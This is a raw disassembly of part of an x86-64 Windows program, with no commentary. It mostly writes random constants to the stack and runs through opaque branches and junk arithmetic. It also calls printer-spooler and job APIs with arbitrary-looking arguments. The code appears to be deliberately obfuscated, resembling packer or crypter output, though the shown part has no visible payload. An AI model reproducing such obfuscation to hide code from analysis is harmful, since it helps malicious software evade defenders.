mov dword [rsp + 0x4870], 0x97072fe4
movabs rax, 0x7df10e2b794cb453
mov qword [rsp + 0x16b48], rax
mov byte [rsp + 0xbb8], 0x3c
mov dword [rsp + 0xc758], 0x464dfcca
mov eax, 0x88d
mov word [rsp + 0x16b08], ax
movabs rax, 0x5a7ab7c182c664ad
mov qword [rsp + 0x14a98], rax
mov eax, 0x2a3e
mov word [rsp + 0x1087c], ax
movabs rax, 0x4a1b80370d1d068d
mov qword [rsp + 0x10868], rax
mov dword [rsp + 0x1e6b0], 0x6b5269a1
mov byte [rsp + 0xe8c8], 0x6c
mov byte [rsp + 0x18b70], 0xe
mov byte [rsp + 0xb1d], 0x97
mov byte [rsp + 0x16aa0], 0x3c
mov dword [rsp + 0x12894], 0x9d19b241
mov eax, 0x75a
mov word [rsp + 0x10818], ax
mov eax, 0xe7a
mov word [rsp + 0x69ac], ax
mov eax, 0x4d39
mov word [rsp + 0xb18], ax
mov dword [rsp + 0x12890], 0x152c4b72
mov byte [rsp + 0x107f9], 0x20
mov dword [rsp + 0x29a8], 0x6c6120f5
mov dword [rsp + 0x1e644], 0x1a2fb09c
mov byte [rsp + 0x89a8], 0xaf
mov dword [rsp + 0xa90], 0x4c2f778d
movabs rax, 0x470af20d7cd5b889
mov qword [rsp + 0xc660], rax
movabs rax, 0x11ce30b35f4f5445
mov qword [rsp + 0x1a928], rax
movabs rax, 0x9a0419ab015dde76
mov qword [rsp + 0x1a920], rax
mov byte [rsp + 0x4750], 0x2e
mov dword [rsp + 0xa80], 0xdb9c2bdf
mov eax, 0x956
mov word [rsp + 0x12834], ax
mov eax, 0x5057
mov word [rsp + 0x1a8f0], ax
movabs rax, 0x19dd4223a5194b27
mov qword [rsp + 0x2928], rax
mov dword [rsp + 0xa7b0], 0xed5ab866
mov byte [rsp + 0xa799], 0x7c
movabs rax, 0x1c9c6b9c053f7ee2
mov qword [rsp + 0x1c700], rax
movabs rax, 0x68cbea8d7b77339f
mov qword [rsp + 0x1a880], rax
mov eax, 0x187e
mov word [rsp + 0x6920], ax
movabs rax, 0x20630115b8cd78e1
mov qword [rsp + 0xa20], rax
mov dword [rsp + 0xa778], 0x723b8ff
mov eax, 0x870
mov word [rsp + 0x1e558], ax
movabs rax, 0x50831e16f44267ca
mov qword [rsp + 0x14998], rax
movabs rax, 0x9fba4a114ea4ebb6
mov qword [rsp + 0xc5c8], rax
mov eax, 0x29b
mov word [rsp + 0xa710], ax
mov eax, 0xf44
mov word [rsp + 0x9c8], ax
mov eax, 0xa
mov word [rsp + 0x1a804], ax
mov eax, 0x103
mov word [rsp + 0x1a7f0], ax
mov eax, 0x15b
mov word [rsp + 0x1e510], ax
mov eax, 0x5e39
mov word [rsp + 0x8868], ax
mov eax, 0xb2e
mov word [rsp + 0x467c], ax
mov dword [rsp + 0x14740], 0x2adc68bb
mov dword [rsp + 0x4678], 0xe940f560
movabs rax, 0xd7dc64af16394ac9
mov qword [rsp + 0x8848], rax
mov eax, 0x7670
mov word [rsp + 0x8820], ax
mov byte [rsp + 0x1c5a0], 0x9b
mov byte [rsp + 0x189e0], 0xca
mov dword [rsp + 0x189d0], 0x664f2bb2
movabs rax, 0x73eb6e9f9104b4f5
mov qword [rsp + 0x168d8], rax
mov byte [rsp + 0x126cc], 0x26
mov dword [rsp + 0xa640], 0x38e28dd4
mov eax, 0xfd3
mov word [rsp + 0x16880], ax
mov dword [rsp + 0xc4e8], 0x65f3f04f
movabs rax, 0x1803dd2ccc28bd13
mov qword [rsp + 0x16878], rax
mov byte [rsp + 0x6750], 0xe2
mov dword [rsp + 0x1268c], 0x8c012d83
mov byte [rsp + 0x87a1], 0xbe
mov eax, 0x260
mov word [rsp + 0x1467c], ax
mov eax, 0x441
mov word [rsp + 0x6718], ax
mov eax, 0x28f2
mov word [rsp + 0x2768], ax
mov byte [rsp + 0x14678], 0x3e
movabs rax, 0x11135d219135b34b
mov qword [rsp + 0x1e440], rax
mov eax, 0x25a8
mov word [rsp + 0x8754], ax
mov byte [rsp + 0x66b8], 0xf2
mov dword [rsp + 0x12630], 0x554bcfab
movabs rax, 0x1843f1778eaf06c
mov qword [rsp + 0x840], rax
movabs rax, 0x8468cf309aeba9cd
mov qword [rsp + 0x105c8], rax
mov byte [rsp + 0x1a6e0], 0xf5
mov dword [rsp + 0x16800], 0x53fb4290
mov dword [rsp + 0x1a6c8], 0x31e29ea0
movabs rax, 0x4afa84f2cab31253
mov qword [rsp + 0x820], rax
movabs rax, 0x2293f684b7b973af
mov qword [rsp + 0x145f8], rax
mov dword [rsp + 0x6678], 0x74845cf1
movabs rax, 0x31789d67cfe62c69
mov qword [rsp + 0x1a6a8], rax
mov dword [rsp + 0x666c], 0x3c59a0e9
mov dword [rsp + 0x7e8], 0x68449be5
mov dword [rsp + 0x26a8], 0x7ed2beb8
movabs rax, 0x291f1b884e8ab934
mov qword [rsp + 0xe528], rax
mov byte [rsp + 0x44dc], 0x49
mov byte [rsp + 0x18888], 0x30
movabs rax, 0x2c627fa8c70d5b7c
mov qword [rsp + 0xe4c8], rax
mov byte [rsp + 0x10530], 0xcb
mov eax, 0x1d93
mov word [rsp + 0xe4c0], ax
mov dword [rsp + 0xe4a0], 0x3b87aeaa
mov dword [rsp + 0x14508], 0x5451904a
movabs rax, 0x523d1a1d2912b0e3
mov qword [rsp + 0xa4d8], rax
movabs rax, 0xa44e26c407e1e084
mov qword [rsp + 0x12510], rax
movabs rax, 0x5e80800f707ef64c
mov qword [rsp + 0x18800], rax
mov byte [rsp + 0x16738], 0x26
mov byte [rsp + 0x1a5f8], 0xa
mov dword [rsp + 0xe450], 0x6043d3f6
movabs rax, 0xa439b2b5cf5431ab
mov qword [rsp + 0x6588], rax
mov byte [rsp + 0x16729], 0x5e
mov dword [rsp + 0x1e304], 0x2af3ed71
movabs rax, 0xe2ea07d596979e83
mov qword [rsp + 0x1c400], rax
movabs rax, 0x482971cef1475f82
mov qword [rsp + 0x2620], rax
mov dword [rsp + 0x1671c], 0x7b3646d4
mov byte [rsp + 0x1c3f0], 0xa7
mov eax, 0x7a48
mov word [rsp + 0x10490], ax
mov dword [rsp + 0x2610], 0xb347a165
movabs rax, 0xf4a1e5a214d40ac
mov qword [rsp + 0x1e288], rax
mov byte [rsp + 0x25d8], 0
mov byte [rsp + 0x12490], 0x3d
mov dword [rsp + 0x10468], 0x54192bcd
mov eax, 0x9f1
mov word [rsp + 0x6544], ax
mov dword [rsp + 0x43b8], 0x1b298799
mov dword [rsp + 0x166b8], 0x9b05df9
mov dword [rsp + 0x8550], 0x8e8aef66
mov dword [rsp + 0x1c380], 0x1da26a50
mov eax, 0x96c
mov word [rsp + 0x14468], ax
mov eax, 0xbfb
mov word [rsp + 0xa424], ax
movabs rax, 0x7a6cedc1b6b95dbf
mov qword [rsp + 0x14458], rax
mov byte [rsp + 0x10400], 0xb
movabs rax, 0x4dd56713b5bc098d
mov qword [rsp + 0x1a538], rax
mov byte [rsp + 0x2588], 0x37
mov eax, 0x75e
mov word [rsp + 0x6510], ax
mov byte [rsp + 0x1a520], 0x4a
mov eax, 0x74f9
mov word [rsp + 0x1e208], ax
mov byte [rsp + 0x1872c], 0xf8
mov eax, 0xe61
mov word [rsp + 0x1e1e0], ax
mov byte [rsp + 0x103b8], 0x91
mov eax, 0x373
mov word [rsp + 0x1c320], ax
mov eax, 0xb43
mov word [rsp + 0x1c308], ax
mov byte [rsp + 0x143c8], 0x6b
mov dword [rsp + 0x123fc], 0xbcf041d
mov eax, 0x2770
mov word [rsp + 0x143ac], ax
mov byte [rsp + 0x123f4], 0xcb
mov dword [rsp + 0x2510], 0x1b8c26ea
mov eax, 0x1f90
mov word [rsp + 0x618], ax
mov byte [rsp + 0x123d4], 0x1c
movabs rax, 0x83947edc9b5267f1
mov qword [rsp + 0x18708], rax
mov eax, 0x8c
mov word [rsp + 0xe308], ax
mov byte [rsp + 0x24d0], 0x45
movabs rax, 0x71509641671c6a1b
mov qword [rsp + 0xc228], rax
mov byte [rsp + 0x6488], 0x2c
mov dword [rsp + 0x14378], 0x49b57a7d
mov byte [rsp + 0x8411], 0x6d
mov dword [rsp + 0x42a8], 0x863970
mov byte [rsp + 0x8410], 0x2c
mov eax, 0x672
mov word [rsp + 0x12368], ax
mov byte [rsp + 0x102d8], 0xe4
movabs rax, 0xa37c427db7d6098d
mov qword [rsp + 0xc1c0], rax
movabs rax, 0x64b13453d099863e
mov qword [rsp + 0x2470], rax
movabs rax, 0xebac618a286bd5bc
mov qword [rsp + 0x2458], rax
mov dword [rsp + 0x53c], 0xe0e5d357
mov byte [rsp + 0x142f0], 0x4f
mov dword [rsp + 0x102c0], 0x359cc95
movabs rax, 0x326294c74fe56f58
mov qword [rsp + 0x18640], rax
mov eax, 0x658
mov word [rsp + 0xa2dc], ax
movabs rax, 0x2b082f64c6b1b0e2
mov qword [rsp + 0xe250], rax
movabs rax, 0x1a024927b3c8db2c
mov qword [rsp + 0xc180], rax
mov eax, 0x6ed
mov word [rsp + 0xe240], ax
movabs rax, 0x6b7f17a81f903ba3
mov qword [rsp + 0x1e108], rax
movabs rax, 0x508513511a88f9ae
mov qword [rsp + 0x142c0], rax
mov eax, 0xc1f
mov word [rsp + 0x8398], ax
mov byte [rsp + 0x838c], 0x4b
mov byte [rsp + 0xe228], 0x7b
mov dword [rsp + 0x185e8], 0x5425bcb1
mov byte [rsp + 0x1e0ca], 0x5e
mov dword [rsp + 0x8358], 0x7712720f
mov dword [rsp + 0x2404], 0xd9b29dc7
mov byte [rsp + 0xc140], 0x4e
movabs rax, 0x1dbedb0418f013b0
mov qword [rsp + 0x10218], rax
mov eax, 0x399d
mov word [rsp + 0xe1e0], ax
mov eax, 0xd07
mov word [rsp + 0xa2b8], ax
mov eax, 0xee7
mov word [rsp + 0xa2ac], ax
mov eax, 0x5567
mov word [rsp + 0xa2a8], ax
mov dword [rsp + 0x23ec], 0x1cc60de
mov dword [rsp + 0x18570], 0x3bdd505c
mov eax, 0x15d
mov word [rsp + 0x1427c], ax
mov byte [rsp + 0xe1b9], 0x40
mov dword [rsp + 0x122b8], 0x7fcbb540
mov eax, 0x4bcb
mov word [rsp + 0x1a3b8], ax
mov byte [rsp + 0x1856c], 0x6b
mov eax, 0x465
mov word [rsp + 0x41e8], ax
movabs rax, 0x2a75197116da16cd
mov qword [rsp + 0x1a3a0], rax
mov byte [rsp + 0xe1a0], 0x60
mov dword [rsp + 0x41b4], 0xd0c7676c
mov eax, 0xf3
mov word [rsp + 0x101a0], ax
mov dword [rsp + 0xe188], 0x3d157afe
movabs rax, 0xf213e6662f55a6d1
mov qword [rsp + 0x1c138], rax
mov eax, 0x82a
mov word [rsp + 0x1019c], ax
movabs rax, 0x79dc153bbbd082ac
mov qword [rsp + 0x1c130], rax
mov byte [rsp + 0x1e060], 0x78
mov eax, 0x79d
mov word [rsp + 0x1e040], ax
mov dword [rsp + 0x41b0], 0x629b98e1
movabs rax, 0xb8bf7a6c7e1340f6
mov qword [rsp + 0x62d0], rax
mov byte [rsp + 0xa260], 0xc3
mov eax, 0x4831
mov word [rsp + 0x23a4], ax
mov eax, 0x60a
mov word [rsp + 0x14210], ax
mov eax, 0x4ec
mov word [rsp + 0x1c110], ax
mov byte [rsp + 0x1c104], 0xe8
mov eax, 0x5af
mov word [rsp + 0x1c100], ax
mov eax, 0x3aa
mov word [rsp + 0x4168], ax
mov eax, 0x61f
mov word [rsp + 0x164a0], ax
mov dword [rsp + 0x82dc], 0xabc0ae8
movabs rax, 0x755e59aaba215c
mov qword [rsp + 0x6248], rax
mov eax, 0x1e16
mov word [rsp + 0xc098], ax
movabs rax, 0xa6bf07e363da5fc0
mov qword [rsp + 0x10128], rax
mov eax, 0x107
mov word [rsp + 0x12238], ax
mov dword [rsp + 0x2358], 0x493f5079
mov byte [rsp + 0x1849d], 0x4d
mov dword [rsp + 0x16414], 0x257e695a
mov eax, 0x4166
mov word [rsp + 0x6210], ax
mov byte [rsp + 0xe0f0], 0xbb
mov byte [rsp + 0x1a300], 0x31
mov byte [rsp + 0x40e4], 0x95
mov dword [rsp + 0x1df98], 0x2ac72c8d
mov dword [rsp + 0x18440], 0x42168398
mov dword [rsp + 0x1df38], 0x9ebf94b5
mov byte [rsp + 0x4090], 0x2f
mov byte [rsp + 0x36c], 0x4e
movabs rax, 0x45e85e612753462f
mov qword [rsp + 0x14110], rax
mov eax, 0xad1
mov word [rsp + 0x368], ax
mov dword [rsp + 0xa180], 0xa798108d
mov dword [rsp + 0x121dc], 0x881479e7
mov byte [rsp + 0x6190], 0x51
mov dword [rsp + 0x121d8], 0xbfa102d
mov byte [rsp + 0x18398], 0xe
mov byte [rsp + 0x81f8], 0x23
movabs rax, 0x63a564a2105a75da
mov qword [rsp + 0x1ded0], rax
movabs rax, 0x39a074a5c90d589
mov qword [rsp + 0x10070], rax
movabs rax, 0x2f02823a1f56fbb3
mov qword [rsp + 0x2240], rax
movabs rax, 0x5bbb8dab56140128
mov qword [rsp + 0xa130], rax
movabs rax, 0x8d13927ff94ef01
mov qword [rsp + 0x81c0], rax
mov eax, 0x168
mov word [rsp + 0x6140], ax
mov byte [rsp + 0x140b0], 8
mov eax, 0x3ebd
mov word [rsp + 0x1dea0], ax
mov byte [rsp + 0x16300], 0x66
movabs rax, 0xca6bd90c0396a6f
mov qword [rsp + 0x14080], rax
mov dword [rsp + 0x3fb0], 0x77cb45ea
mov byte [rsp + 0x3fa0], 0xbb
mov eax, 0x424
mov word [rsp + 0x1a1e0], ax
mov byte [rsp + 0x162b8], 0xb
mov dword [rsp + 0x1bf38], 0x5ff874e7
mov eax, 0x5d1e
mov word [rsp + 0xa094], ax
mov eax, 0xc03
mov word [rsp + 0x2178], ax
mov dword [rsp + 0xdf48], 0x205a6561
mov eax, 0x65b2
mov word [rsp + 0x238], ax
mov byte [rsp + 0x1402c], 0x77
mov byte [rsp + 0x221], 3
movabs rax, 0x8e9f70a3c95197e9
mov qword [rsp + 0xbf28], rax
mov dword [rsp + 0xff88], 0x36c4b7d6
mov byte [rsp + 0xa080], 0x67
movabs rax, 0x5ad053a1f668ca32
mov qword [rsp + 0xa048], rax
mov eax, 0x469
mov word [rsp + 0xa03c], ax
mov byte [rsp + 0x1a1a0], 0x38
mov dword [rsp + 0x1d0], 0x2d5559ad
mov dword [rsp + 0x1ddf8], 0x3ce3c8be
mov byte [rsp + 0xa010], 0x73
movabs rax, 0x9a6888d6175590e7
mov qword [rsp + 0x1ddc8], rax
mov byte [rsp + 0x13fe8], 0xa8
movabs rax, 0x5e41b8b304caef74
mov qword [rsp + 0x16210], rax
mov eax, 0x648
mov word [rsp + 0x12064], ax
movabs rax, 0x3964f95a9bcff3c8
mov qword [rsp + 0x1a0], rax
mov eax, 0x3211
mov word [rsp + 0x80c0], ax
mov eax, 0x968
mov word [rsp + 0xdec8], ax
mov dword [rsp + 0xff20], 0x651995ce
mov byte [rsp + 0x3f28], 0xa1
movabs rax, 0x853f73b3a80c8b9
mov qword [rsp + 0x2100], rax
movabs rax, 0x7781e6d1e9204da2
mov qword [rsp + 0xbec0], rax
mov dword [rsp + 0xbea8], 0x4534bf59
mov dword [rsp + 0x809c], 0x5b6417e8
mov byte [rsp + 0x8098], 0x72
mov byte [rsp + 0x148], 0x25
movabs rax, 0x44d738edda196f8c
mov qword [rsp + 0x140], rax
mov byte [rsp + 0xfef0], 0xe
mov dword [rsp + 0x6000], 0x5baf283f
movabs rax, 0x4daec452615cc98a
mov qword [rsp + 0x16190], rax
mov byte [rsp + 0x5fd8], 0x54
movabs rax, 0xaeafe9e06c0ddcab
mov qword [rsp + 0xfe80], rax
mov byte [rsp + 0x16168], 0xf1
movabs rax, 0x9b281b8f14eba708
mov qword [rsp + 0xfe70], rax
mov dword [rsp + 0x16150], 0xad7378f2
mov eax, 0x25dc
mov word [rsp + 0x3e90], ax
mov dword [rsp + 0x5f90], 0xcb7c97e3
movabs rax, 0x22b8663075a69eb8
mov qword [rsp + 0x7ff8], rax
mov byte [rsp + 0x1bdd8], 0x7e
movabs rax, 0x7a1395be8a189ece
mov qword [rsp + 0x3e78], rax
mov byte [rsp + 0x3e70], 0x89
mov byte [rsp + 0x1dcf0], 0x23
mov eax, 0x16e
mov word [rsp + 0x181b0], ax
mov eax, 0x6048
mov word [rsp + 0x1dcc0], ax
movabs rax, 0xe9f031dcb9363653
mov qword [rsp + 0x90], rax
mov eax, 0xf2
mov word [rsp + 0xddb0], ax
mov dword [rsp + 0x7fc8], 0x4e9e2a1c
mov eax, 0x2ec1
mov word [rsp + 0x9f10], ax
mov dword [rsp + 0x16108], 0xa75c4bac
mov dword [rsp + 0xfde0], 0x14c1807c
mov eax, 0x1dfe
mov word [rsp + 0x18184], ax
movabs rax, 0x1b4ccc806b952df8
mov qword [rsp + 0x1ff8], rax
mov byte [rsp + 0xbd80], 0xc
movsx eax, word [0x14015d2c8]
sub eax, 0x6983
mov word [0x14015d2c8], ax
movabs rax, 0x29f7100ae0d47390
mov qword [rsp + 0xd7f0], rax
movabs rcx, 0x6be7ebc30f84b33d
mov rax, qword [rsp + 0xd7f0]
add rax, rcx
mov qword [rsp + 0x14080], rax
mov byte [rsp + 0x1be30], 0x54
mov dword [rsp + 0xbd60], 0xab63
movsx eax, byte [rsp + 0x1be30]
cmp eax, 0x74
je 0x140148cfb
mov dword [rsp + 0x154d0], 0x206fc44
mov eax, 0x24b
mov word [rsp + 0x1cd58], ax
mov rax, qword [rsp + 0x14080]
mov qword [rsp + 0x1fc98], rax
movabs rax, 0x41b2de9f81f3e8e4
cmp qword [rsp + 0x1fc98], rax
je 0x1400158f3
jmp 0x14001599e
movzx eax, word [rsp + 0x1cd58]
mov dword [rsp + 0x1fca0], eax
cmp dword [rsp + 0x1fca0], 0xb9e
je 0x14001591e
cmp dword [rsp + 0x1fca0], 0xde4
je 0x140015960
jmp 0x14001599c
mov edx, 0xe9
mov rcx, qword [rsp + 0xcfa0]
call qword [sym.imp.KERNEL32.dll_TerminateJobObject]
mov dword [rsp + 0x47d8], eax
movsx eax, word [0x14015d2c8]
and eax, 0x7830
mov word [0x14015d2c8], ax
mov edx, dword [rsp + 0x154d0]
mov ecx, dword [rsp + 0x154d0]
call fcn.140012900
jmp 0x14001599c
lea rax, [rsp + 0x1cd58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd4
lea r9, [rsp + 0x1cd58]
mov r8d, 0xb7
mov edx, 0x14
mov rcx, qword [rsp + 0xc670]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x16050], eax
jmp 0x140015a0b
lea rax, [rsp + 0x3f80]
mov qword [rsp + 0x21b8], rax
mov dword [rsp + 0x12110], 0x680d
movabs rax, 0xfc9d5161dfbd32d9
mov qword [rsp + 0xaf68], rax
movzx eax, word [0x14015d2c8]
mov word [rsp + 0xfd20], ax
mov dword [rsp + 0x4b0], 0xfdbd
mov dword [rsp + 0x1ad20], 0x7e46
lea rax, [rsp + 0x1be30]
mov qword [rsp + 0x1f1c8], rax
mov dword [rsp + 0x13a60], 0xffe0
movsx ecx, word [rsp + 0xfd20]
shl ecx, 0x9e
movsx eax, word [0x14015d2c8]
cmp ecx, eax
jge 0x140015a89
movzx eax, word [rsp + 0x1cd58]
mov dword [rsp + 0x1fca4], eax
cmp dword [rsp + 0x1fca4], 0x61b
je 0x140015a4c
cmp dword [rsp + 0x1fca4], 0xe5a
je 0x140015a78
jmp 0x140015a89
mov ecx, dword [rsp + 0x3f80]
xor ecx, 0x8204ef73
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov edx, dword [rsp + 0x154d0]
mov ecx, dword [rsp + 0x154d0]
call fcn.140012900
jmp 0x140015a89
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov dword [rsp + 0x3f80], eax
mov rax, qword [rsp + 0x14080]
mov qword [0x1401601a8], rax
cmp dword [rsp + 0x1ad20], 0x6d46
jbe 0x140015e45
mov ecx, dword [rsp + 0x3f80]
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x3f80]
or ecx, 0x6c35ae53
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x3f80]
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
movsx eax, word [0x14015d2c8]
sub eax, 0x42fb
mov word [rsp + 0xfd20], ax
mov rcx, qword [rsp + 0x21b8]
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
movzx eax, word [rsp + 0x1cd58]
sub eax, 0xa57
mov word [rsp + 0x1cd58], ax
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
add eax, 0x3f
mov byte [rsp + 0x1be30], al
mov rcx, qword [0x1401601a8]
mov rax, qword [rsp + 0xd7f0]
add rax, rcx
mov qword [rsp + 0x14080], rax
mov rcx, qword [rsp + 0x21b8]
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov dword [rsp + 0x3f80], eax
mov ecx, dword [rsp + 0x3f80]
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x3f80]
xor ecx, 0x6184d0e8
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x3f80]
shl ecx, 0xd
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
movzx eax, word [rsp + 0x1cd58]
or eax, 0xa46
mov word [rsp + 0x1cd58], ax
movsx ecx, byte [rsp + 0x1be30]
and ecx, 0x3e
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
sub eax, 0x95f8c658
mov dword [rsp + 0x3f80], eax
movabs rcx, 0x37b000eeba89bfba
mov rax, qword [rsp + 0xaf68]
add rax, rcx
mov qword [rsp + 0xaf68], rax
mov rcx, qword [rsp + 0x14080]
mov rax, qword [rsp + 0xd7f0]
sub rax, rcx
mov qword [0x1401601a8], rax
mov rcx, qword [0x1401601a8]
mov rax, qword [rsp + 0x14080]
add rax, rcx
mov qword [rsp + 0xd7f0], rax
mov ecx, dword [rsp + 0x3f80]
and ecx, 0xd065e3c5
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
movsx ecx, byte [rsp + 0x1be30]
add ecx, 0x36
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
movsx eax, word [0x14015d2c8]
sub eax, 0x316b
mov word [rsp + 0xfd20], ax
movsx ecx, byte [rsp + 0x1be30]
sub ecx, 0x32
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov ecx, dword [rsp + 0x3f80]
add ecx, 0xa8ba99da
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
xor eax, 0x3a1cbab5
mov dword [rsp + 0x3f80], eax
mov rax, qword [rsp + 0xaf68]
shl rax, 0x1a
mov qword [rsp + 0xaf68], rax
mov rcx, qword [rsp + 0x21b8]
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x3f80]
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
and ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
movsx ecx, byte [rsp + 0x1be30]
sub ecx, 0x6b
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x3f80]
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
sub ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x3f80]
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov eax, dword [rsp + 0x154d0]
add eax, 0x401cb8fb
mov dword [rsp + 0x154d0], eax
mov ecx, dword [rsp + 0x3f80]
and ecx, 0x57eb0b23
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov eax, dword [rsp + 0x1ad20]
sub eax, 0x40
mov dword [rsp + 0x1ad20], eax
mov rcx, qword [rsp + 0x21b8]
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
movzx eax, word [rsp + 0x1cd58]
add eax, 0x95d
mov word [rsp + 0x1cd58], ax
jmp 0x140015a98
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
sub ecx, 0x65
movsx eax, byte [rsp + 0x1be30]
cmp ecx, eax
jle 0x140015f61
lea rdx, [rsp + 0x1aac8]
mov rcx, qword [rsp + 0x2e08]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0xea10], eax
mov ecx, dword [rsp + 0x3f80]
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
sar ecx, 0x62
movsx eax, byte [rsp + 0x1be30]
cmp ecx, eax
jle 0x140015f61
movzx eax, word [rsp + 0x1cd58]
mov dword [rsp + 0x1fca8], eax
cmp dword [rsp + 0x1fca8], 0x2f3
je 0x140015eda
jmp 0x140015f09
mov rcx, qword [0x1401601a8]
mov rax, qword [rsp + 0xd7f0]
xor rax, rcx
mov qword [rsp + 0x14080], rax
mov edx, dword [rsp + 0x154d0]
mov ecx, dword [rsp + 0x154d0]
call fcn.140012900
jmp 0x140015f61
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
or ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
movzx eax, word [rsp + 0x1cd58]
and eax, 0xbc6
mov word [rsp + 0x1cd58], ax
mov r8, qword [rsp + 0xe208]
mov rdx, qword [rsp + 0x2d10]
mov rcx, qword [rsp + 0x1810]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0xea10], eax
mov dword [rsp + 0x17254], 0x78e7
mov eax, dword [rsp + 0x154d0]
mov dword [rsp + 0x1fcac], eax
cmp dword [rsp + 0x1fcac], 0x51be8eea
je 0x140015f89
jmp 0x140015fb6
movsx ecx, byte [rsp + 0x1be30]
add ecx, 0x4c
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov edx, dword [rsp + 0x154d0]
mov ecx, dword [rsp + 0x154d0]
call fcn.140012900
jmp 0x140016036
lea rax, [rsp + 0x3f80]
mov qword [rsp + 0x1ef10], rax
movzx eax, word [rsp + 0x1cd58]
mov word [rsp + 0x3d10], ax
movzx eax, word [rsp + 0x1cd58]
movzx ecx, word [rsp + 0x3d10]
sub eax, ecx
mov word [0x14015d2cc], ax
mov dword [rsp + 0x36d8], 0x6644
mov rax, qword [rsp + 0xd7f0]
mov qword [rsp + 0xb9d8], rax
mov dword [rsp + 0xb898], 0x6f6a
mov eax, dword [rsp + 0x3f80]
mov dword [rsp + 0x17460], eax
mov eax, dword [rsp + 0x154d0]
sub eax, 0x38468887
mov dword [rsp + 0x6e88], eax
movsx ecx, word [0x14015d2c8]
add ecx, 0x11e5
movsx eax, word [rsp + 0xfd20]
cmp ecx, eax
jle 0x140148b6b
mov rax, qword [rsp + 0x1f1c8]
mov al, byte [rax]
mov byte [rsp + 0x1fcb0], al
cmp byte [rsp + 0x1fcb0], 0
je 0x140016073
jmp 0x140148ab9
mov byte [rsp + 0xd6b9], 0xae
lea rax, [rsp + 0x1cd58]
mov qword [rsp + 0x104a0], rax
lea rax, [rsp + 0x1be30]
mov qword [rsp + 0x1228], rax
movsx eax, word [rsp + 0xfd20]
mov dword [rsp + 0x1fcb4], eax
cmp dword [rsp + 0x1fcb4], 0x834
je 0x14001614a
cmp dword [rsp + 0x1fcb4], 0x2acc
je 0x1400160cd
jmp 0x14001624f
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movzx edx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [0x14015d2cc], ax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rcx, qword [0x1401601a8]
mov rax, qword [rsp + 0xb9d8]
sub rax, rcx
mov qword [rsp + 0xd7f0], rax
jmp 0x14001624f
lea rax, [rsp + 0x1228]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x57
lea rax, [rsp + 0xd940]
mov qword [rsp + 0x30], rax
